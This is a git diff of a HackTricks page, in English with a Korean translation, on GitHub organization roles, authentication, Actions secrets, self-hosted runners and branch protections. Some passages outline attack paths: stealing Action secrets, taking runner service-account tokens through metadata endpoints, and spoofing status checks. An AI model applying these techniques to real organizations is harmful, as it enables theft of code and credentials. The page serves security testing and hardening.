- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
And the latest one use a short sha-1 that is bruteforceable.
마지막 방법은 무차별 대입이 가능한 짧은 sha-1을 사용합니다.
## References
## 참고문헌
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,198 +4,201 @@
## Basic Structure
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
**회사**의 기본 github 환경 구조는 **엔터프라이즈(enterprise)**가 여러 **조직(organizations)**을 소유하고, 각 조직은 여러 **저장소(repositories)**와 여러 **팀(teams)**을 가질 수 있는 형태입니다. 작은 회사는 **하나의 조직만 소유하고 엔터프라이즈가 없을 수도** 있습니다.
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
사용자 관점에서 **사용자(user)**는 **다른 엔터프라이즈와 조직의 멤버(member)**일 수 있습니다. 그 안에서 사용자는 **엔터프라이즈, 조직, 저장소에 대한 서로 다른 역할(roles)**을 가질 수 있습니다.
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
또한 사용자는 서로 다른 엔터프라이즈, 조직 또는 저장소 역할을 가진 **여러 팀의 일원**일 수 있습니다.
And finally **repositories may have special protection mechanisms**.
마지막으로 **저장소에는 특별한 보호 메커니즘**이 있을 수 있습니다.
## Privileges
### Enterprise Roles
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
- **Enterprise owner**: 이 역할을 가진 사람은 **관리자 관리, 엔터프라이즈 내 조직 관리, 엔터프라이즈 설정 관리, 조직 전반의 정책 강제** 등을 할 수 있습니다. 다만 **조직 소유자이거나 조직이 소유한 저장소에 직접 접근 권한을 부여받지 않았다면 조직 설정이나 콘텐츠에는 접근할 수 없습니다.**
- **Enterprise members**: 엔터프라이즈가 소유한 조직의 구성원은 **자동으로 엔터프라이즈의 멤버**가 됩니다.
### Organization Roles
In an organisation users can have different roles:
조직 내에서 사용자는 여러 역할을 가질 수 있습니다:
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
- **Organization owners**: 조직 소유자는 **조직에 대한 완전한 관리 접근권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내에서는 최소 두 명 이상이 맡아야 합니다.
- **Organization members**: 조직 내 사람들의 기본(non-administrative) 역할은 조직 멤버입니다. 기본적으로 조직 멤버는 **여러 권한**을 가집니다.
- **Billing managers**: 청구 관리자는 조직의 결제 정보 같은 **청구 설정을 관리**할 수 있는 사용자입니다.
- **Security Managers**: 조직 소유자가 조직의 어떤 팀에 할당할 수 있는 역할입니다. 적용되면 해당 팀의 모든 구성원에게 **조직 전반의 보안 경고 및 설정을 관리할 수 있는 권한과 조직 내 모든 저장소에 대한 읽기 권한**을 부여합니다.
- 조직에 security team이 있으면, security manager 역할을 사용해 팀 구성원에게 조직에 필요한 최소한의 접근만 부여할 수 있습니다.
- **Github App managers**: 조직이 소유한 **GitHub Apps를 관리**할 추가 사용자를 허용하려면, 소유자가 그들에게 GitHub App manager 권한을 부여할 수 있습니다.
- **Outside collaborators**: 외부 협력자는 **조직의 한 개 이상의 저장소에 접근 권한은 있으나 조직의 명시적 멤버는 아닌 사람**입니다.
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
이 역할들의 권한을 이 표에서 **비교**할 수 있습니다: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Members Privileges
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
_in https://github.com/organizations/\<org_name>/settings/member_privileges_ 에서 **조직의 구성원으로서 사용자들이 가질 권한**을 확인할 수 있습니다.
The settings here configured will indicate the following permissions of members of the organisation:
여기서 구성되는 설정은 조직 구성원 권한에 대해 다음 항목들을 결정합니다:
- Be admin, writer, reader or no permission over all the organisation repos.
- If members can create private, internal or public repositories.
- If forking of repositories is possible
- If it's possible to invite outside collaborators
- If public or private sites can be published
- The permissions admins has over the repositories
- If members can create new teams
- 조직의 모든 저장소에 대해 admin, writer, reader 또는 권한 없음
- 멤버가 private, internal 또는 public 저장소를 생성할 수 있는지 여부
- 저장소의 포크(forking)가 가능한지 여부
- 외부 협력자를 초대할 수 있는지 여부
- public 또는 private 사이트를 게시할 수 있는지 여부
- 관리자(admin)가 저장소에 대해 가지는 권한
- 멤버가 새 팀을 생성할 수 있는지 여부
### Repository Roles
By default repository roles are created:
기본적으로 저장소 역할은 다음과 같이 생성됩니다:
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
- **Write**: Recommended for contributors who **actively push to your project**
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
- **Read**: 프로젝트를 보거나 논의하려는 **코드 기여자가 아닌 사용자에 권장**
- **Triage**: 쓰기 권한 없이 이슈와 PR을 적극적으로 관리해야 하는 **기여자에게 권장**
- **Write**: 프로젝트에 적극적으로 푸시하는 **기여자에게 권장**
- **Maintain**: 민감하거나 파괴적인 작업에 접근하지 않고 **저장소를 관리해야 하는 프로젝트 매니저에게 권장**
- **Admin**: 보안 관리나 저장소 삭제 같은 민감하고 파괴적인 작업을 포함해 **프로젝트에 대한 전체 접근이 필요한 사람에게 권장**
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
각 역할의 권한을 이 표에서 **비교**할 수 있습니다 [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
또한 _https://github.com/organizations/\<org_name>/settings/roles_ 에서 **자체 역할을 생성**할 수 있습니다.
### Teams
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
_https://github.com/orgs/\<org_name>/teams_ 에서 조직에 생성된 **팀 목록**을 볼 수 있습니다. 다른 팀의 하위 팀(자식 팀)을 보려면 각 상위 팀에 접근해야 한다는 점을 유의하세요.
### Users
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
조직의 사용자는 _https://github.com/orgs/\<org_name>/people._ 에서 **목록화**할 수 있습니다.
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
각 사용자 정보에서 사용자가 **속한 팀**과 사용자가 **접근 가능한 저장소**를 확인할 수 있습니다.
## Github Authentication
Github offers different ways to authenticate to your account and perform actions on your behalf.
Github는 계정에 인증하고 사용자를 대신해 작업을 수행하기 위한 여러 방법을 제공합니다.
### Web Access
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
**github.com**에 접근할 때 **사용자 이름과 비밀번호**(및 경우에 따라 **2FA**)로 로그인할 수 있습니다.
### **SSH Keys**
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
계정에 하나 이상의 공개키(public keys)를 구성하여 관련 **개인키(private key)가 사용자를 대신해 작업을 수행**할 수 있도록 할 수 있습니다. [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
이 키들로는 **사용자를 사칭(impersonate)**할 수는 없지만, 서명 없는 커밋을 보낼 때 **발견(discover)**될 수 있으므로 사용하지 않으면 문제가 될 수 있습니다. [vigilant mode에 대해 더 알아보기](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Personal Access Tokens**
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
애플리케이션에 계정 접근을 허용하기 위해 personal access token을 생성할 수 있습니다. 토큰을 생성할 때 **사용자**는 토큰이 가질 **권한(permissions)**을 **명시해야** 합니다. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
Oauth applications는 **일부 github 정보에 접근하거나 사용자를 사칭해(impersonate) 작업을 수행**하기 위한 권한을 요청할 수 있습니다. 흔한 예로는 여러 플랫폼에서 찾을 수 있는 **login with github 버튼**이 있습니다.
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
- 자체 **Oauth applications**를 [https://github.com/settings/developers](https://github.com/settings/developers) 에서 **생성**할 수 있습니다.
- 계정에 접근 권한이 있는 모든 **Oauth applications**는 [https://github.com/settings/applications](https://github.com/settings/applications) 에서 볼 수 있습니다.
- Oauth Apps가 요청할 수 있는 **scopes**는 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) 에서 확인할 수 있습니다.
- 조직에서의 서드파티 애플리케이션 접근은 _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ 에서 볼 수 있습니다.
Some **security recommendations**:
몇 가지 **보안 권고사항**:
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
- OAuth App은 항상 **지정된 scopes에 대해서만**, 인증된 GitHub 사용자로서 GitHub 전반에서 동작해야 합니다(예: 사용자 알림 제공 등).
- OAuth App은 "Login with GitHub"을 활성화하여 인증된 사용자의 identity provider로 사용될 수 있습니다.
- **단일 저장소에만 작동하도록** 애플리케이션을 만들려면 OAuth App을 사용하지 마세요. `repo` OAuth scope를 사용하면 OAuth Apps**인증된 사용자의 모든 저장소에 대해 작동할 수 있습니다**.
- **회사나 팀용 애플리케이션으로 OAuth App을 만들지 마세요.** OAuth Apps는 **단일 사용자**로 인증되므로, 한 사람이 회사용으로 OAuth App을 만들고 회사를 떠나면 다른 사람이 접근할 수 없게 됩니다.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Applications
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
Github applications는 특정 리소스에 대해 **github 정보에 접근하거나 사용자를 사칭해** 특정 작업을 수행하도록 권한을 요청할 수 있습니다. Github Apps에서는 앱이 접근할 저장소를 명시해야 합니다.
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
- The GitHub App should **connect to a personal account or an organisation**.
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
- GitHub App을 설치하려면 **organization owner이거나 저장소에 대한 admin 권한**이 있어야 합니다.
- GitHub App은 **개인 계정 또는 조직**에 연결되어야 합니다.
- 자체 Github application [https://github.com/settings/apps](https://github.com/settings/apps) 에서 생성할 수 있습니다.
- 계정에 접근 권한이 있는 모든 **Github applications**는 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) 에서 볼 수 있습니다.
- **Github Applications용 API Endpoints**는 다음에서 확인할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). 앱 권한에 따라 일부 엔드포인트에 접근할 수 있습니다.
- 조직에 설치된 앱은 _https://github.com/organizations/\<org_name>/settings/installations_ 에서 볼 수 있습니다.
Some security recommendations:
몇 가지 보안 권고사항:
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Make sure the GitHub App integrates with **specific repositories**.
- The GitHub App should **connect to a personal account or an organisation**.
- Don't expect the GitHub App to know and do everything a user can.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- GitHub App은 **사용자와 독립적으로 행동**해야 합니다(앱이 [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하지 않는 한). user-to-server 접근 토큰을 보다 안전하게 유지하려면, 만료되는(8시간 후) access tokens과 새 access token으로 교환 가능한 refresh token을 사용할 수 있습니다. 자세한 내용은 "Refreshing user-to-server access tokens"를 참조하세요.
- GitHub App이 **특정 저장소**와 통합되었는지 확인하세요.
- GitHub App은 **개인 계정 또는 조직**에 연결되어야 합니다.
- GitHub App이 사용자처럼 모든 것을 알고 모든 작업을 수행할 것이라고 기대하지 마세요.
- **"Login with GitHub" 서비스만 필요하다면 GitHub App을 사용하지 마세요.** 다만 GitHub App은 사용자 로그인과 다른 작업을 동시에 수행하기 위해 [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)를 사용할 수 있습니다.
- GitHub 사용자로서만 행동하고 그 사용자가 할 수 있는 모든 것을 하려면 GitHub App을 만들지 마세요.
- 앱을 GitHub Actions와 함께 사용하고 workflow 파일을 수정하려면 `workflow` scope를 포함한 OAuth 토큰으로 사용자를 대리해 인증해야 합니다. 사용자는 해당 workflow 파일을 포함하는 저장소에 대해 admin 또는 write 권한을 가져야 합니다. 자세한 내용은 "Understanding scopes for OAuth apps"를 참조하세요.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
이 기능은 **github에 인증하는 방법은 아니지만**, **악의적인** Github Action **unauthorised access to github**를 얻을 수 있고, Action에 부여된 **권한(privileges)**에 따라 **여러 종류의 공격**이 가능할 수 있습니다. 아래에서 더 자세히 설명합니다.
## Git Actions
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
Git actions**이벤트가 발생할 때 코드를 자동으로 실행**하게 합니다. 보통 실행되는 코드는 **저장소의 코드와 관련된 작업**(예: 도커 컨테이너 빌드 또는 PR에 비밀이 포함되어 있지 않은지 확인)입니다.
### Configuration
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
_https://github.com/organizations/\<org_name>/settings/actions_ 에서 조직의 **github actions 설정**을 확인할 수 있습니다.
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
github actions의 사용을 완전히 금지하거나, **모든 github actions를 허용**하거나, 특정 액션만 허용하도록 설정할 수 있습니다.
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
또한 **누가 Github Action을 실행하려면 승인해야 하는지**와 Action 실행 시 **GITHUB_TOKEN의 권한**을 구성할 수 있습니다.
### Git Secrets
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
Github Action은 보통 github 또는 서드파티 애플리케이션과 상호작용하기 위해 비밀(secrets)이 필요합니다. 저장소에 **평문으로 두는 것을 피하기 위해**, github은 이를 **Secrets**로 저장할 수 있게 합니다.
이 비밀들은 **저장소 단위 또는 조직 전체**에 대해 구성할 수 있습니다. 그런 다음 Action이 비밀에 접근하려면 다음과 같이 선언해야 합니다:
```yaml
steps:
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
```
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
#### Bash 사용 예제 <a href="#example-using-bash" id="example-using-bash"></a>
```yaml
steps:
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **can only be accessed from the Github Actions** that have them declared.
> Secrets **선언된 Github Actions에서만 액세스할 수 있습니다.**
>
> repo나 조직에 한 번 구성되면 **GitHub 사용자는 더 이상 이를 액세스할 수 없고**, 단지 **변경만** 할 수 있습니다.
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
따라서, **github secrets를 훔칠 수 있는 유일한 방법은 Github Action을 실행하는 머신에 접근할 수 있는 것**입니다 (그 경우에는 Action에 선언된 secrets만 접근할 수 있습니다).
### Git Environments
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
Github는 **environments**를 생성해 **secrets**를 저장할 수 있게 합니다. 그런 다음, github action에 환경 내부의 secrets에 대한 액세스를 다음과 같이 부여할 수 있습니다:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
deployment:
runs-on: ubuntu-latest
environment: env_name
```
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
Additionally, environment protections include:
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper foureyes principle on the approval itself.
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
- **Wait timer**: delay deployments for a configurable period.
환경은 **모든 브랜치**(기본), **보호된 브랜치만**, 또는 **접근 가능한 브랜치를 지정**하도록 구성할 수 있습니다.\
또한 환경 보호에는 다음이 포함됩니다:
- **Required reviewers**: 환경을 대상으로 하는 job들을 승인될 때까지 차단합니다. 승인 과정에서 적절한 이중 승인(foureyes) 원칙을 강제하려면 **Prevent self-review**를 활성화하세요.
- **Deployment branches and tags**: 어떤 브랜치/태그가 환경에 배포할 수 있는지 제한합니다. 특정 브랜치/태그를 선택하고 해당 브랜치들을 보호 상태로 유지하는 것이 좋습니다. 참고: "Protected branches only" 옵션은 클래식 브랜치 보호에 적용되며 rulesets를 사용하는 경우 예상대로 동작하지 않을 수 있습니다.
- **Wait timer**: 배포를 구성 가능한 시간만큼 지연시킵니다.
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
또한 환경을 사용하는 **action**을 **실행하기 전** 필요한 **검토 수**를 설정하거나 배포 진행을 허용하기 전에 일정 **시간을 대기**하도록 설정할 수 있습니다.
### Git Action Runner
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
@@ -210,6 +213,20 @@ It's **not possible to run a Github Action of an organization inside a self host
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
### Git Action Runner
Github Action은 **github 환경 내부**에서 실행되거나 사용자가 구성한 **제3자 인프라**에서 실행될 수 있습니다.
몇몇 조직은 비용 절감 등의 이유로 Github Actions를 **제3자 인프라**에서 실행하도록 허용합니다.
조직의 **self-hosted runners** 목록은 _https://github.com/organizations/\<org_name>/settings/actions/runners_에서 확인할 수 있습니다.
어떤 **Github Actions가 non-github 인프라에서 실행되는지** 확인하려면 Github Action 설정 YAML에서 `runs-on: self-hosted`를 검색하면 됩니다.
다른 조직의 self-hosted 박스에서 한 조직의 Github Action을 실행하는 것은 불가능합니다. 러너가 어느 조직에 속하는지 알기 위해 구성 시 **러너용 고유 토큰(unique token)**이 생성되기 때문입니다.
예를 들어 맞춤 **Github Runner가 AWS 또는 GCP 내부 머신에 구성된 경우**, Action은 **metadata endpoint**에 접근할 수 있고 해당 머신이 사용 중인 서비스 계정의 토큰을 **탈취**할 수 있습니다.
### Git Action Compromise
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
@@ -221,6 +238,17 @@ If all actions (or a malicious action) are allowed a user could use a **Github a
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
### Git Action Compromise
모든 Action이 허용되어 있거나(또는 악성 Action이 포함된 경우) 사용자가 **악의적인 Github Action**을 실행하면 해당 Action이 실행되는 **컨테이너**를 **침해**할 수 있습니다.
> [!CAUTION]
> **악성 Github Action** 실행은 공격자에 의해 다음과 같이 악용될 수 있습니다:
>
> - Action이 접근할 수 있는 모든 secrets를 **탈취**
> - Action이 **제3자 인프라** 내부에서 실행되어 머신을 실행하는 SA token에 접근할 수 있는 경우 **수평 이동(lateral movement)** 수행(대개 metadata service를 통해)
> - workflow에서 사용되는 토큰을 **악용**하여 Action이 실행되는 리포지토리의 코드를 **탈취하거나 수정**함
## Branch Protections
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
@@ -230,15 +258,24 @@ The **branch protections of a repository** can be found in _https://github.com/\
> [!NOTE]
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
## Branch Protections
브랜치 보호(Branch protections)는 사용자에게 리포지토리에 대한 완전한 통제권을 주지 않도록 설계되었습니다. 목표는 특정 브랜치에 코드를 쓰기 전에 여러 보호 수단을 적용하는 것입니다.
리포지토리의 **branch protections**는 _https://github.com/\<orgname>/\<reponame>/settings/branches_에서 확인할 수 있습니다.
> [!NOTE]
> 조직 수준에서 브랜치 보호를 설정하는 것은 **불가능**합니다. 따라서 모든 리포지토리에서 개별적으로 선언해야 합니다.
Different protections can be applied to a branch (like to master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
@@ -246,9 +283,28 @@ Different protections can be applied to a branch (like to master):
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
- **Restrict who can push to matching branches**. Restrict who can send a PR.
브랜치(예: master)에 다양한 보호 설정을 적용할 수 있습니다:
- **병합 전에 PR 요구**: 브랜치에 직접 코드를 병합할 수 없습니다. 이 옵션을 선택하면 추가적인 보호들이 적용될 수 있습니다.
- **필요한 승인 수 요구**: 일반적으로 PR 승인에 1명 또는 2명 이상의 승인을 요구하여 단일 사용자가 직접 코드를 병합하지 못하게 합니다.
- **새 커밋이 푸시되면 승인 무효화**: 설정하지 않으면 사용자가 합법적인 코드에 승인한 뒤 악의적인 코드를 추가해 병합할 수 있습니다.
- **가장 최근의 reviewable push에 대한 승인 요구**: 승인 이후의 모든 새 커밋(다른 협력자의 푸시 포함)에 대해 재검토를 트리거하여 승인 후 변경사항을 푸시하고 병합하는 것을 방지합니다.
- **Code Owners의 리뷰 요구**: 리포지토리의 최소 1명 이상의 Code Owner가 PR을 승인해야 합니다(따라서 임의 사용자가 승인할 수 없음).
- **누가 pull request 리뷰를 취소(dismiss)할 수 있는지 제한**: 리뷰 취소가 허용된 사람이나 팀을 지정할 수 있습니다.
- **지정된 행위자가 pull request 요구사항을 우회할 수 있도록 허용**: 해당 사용자들은 이전 제한을 우회할 수 있습니다.
- **병합 전에 상태 검사(status checks) 통과 요구**: 커밋을 병합하기 전에 통과해야 하는 검사들이 있습니다(예: SAST 결과를 보고하는 GitHub App). 팁: 필수 검사를 특정 GitHub App에 바인딩하세요. 그렇지 않으면 어떤 앱이라도 Checks API를 통해 검사를 위조할 수 있고, 많은 봇은 "@bot-name skip" 같은 건너뛰기 지시를 허용합니다.
- **병합 전에 대화(conversation) 해결 요구**: 코드상의 모든 댓글이 해결되어야 PR을 병합할 수 있습니다.
- **서명된 커밋 요구**: 커밋이 서명되어야 합니다.
- **선형 히스토리 요구**: 매칭되는 브랜치에 merge commit이 푸시되는 것을 방지합니다.
- **관리자 포함**: 설정하지 않으면 관리자는 제한을 우회할 수 있습니다.
- **매칭되는 브랜치에 누가 푸시할 수 있는지 제한**: 누가 PR을 보낼 수 있는지 제한합니다.
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
> [!NOTE]
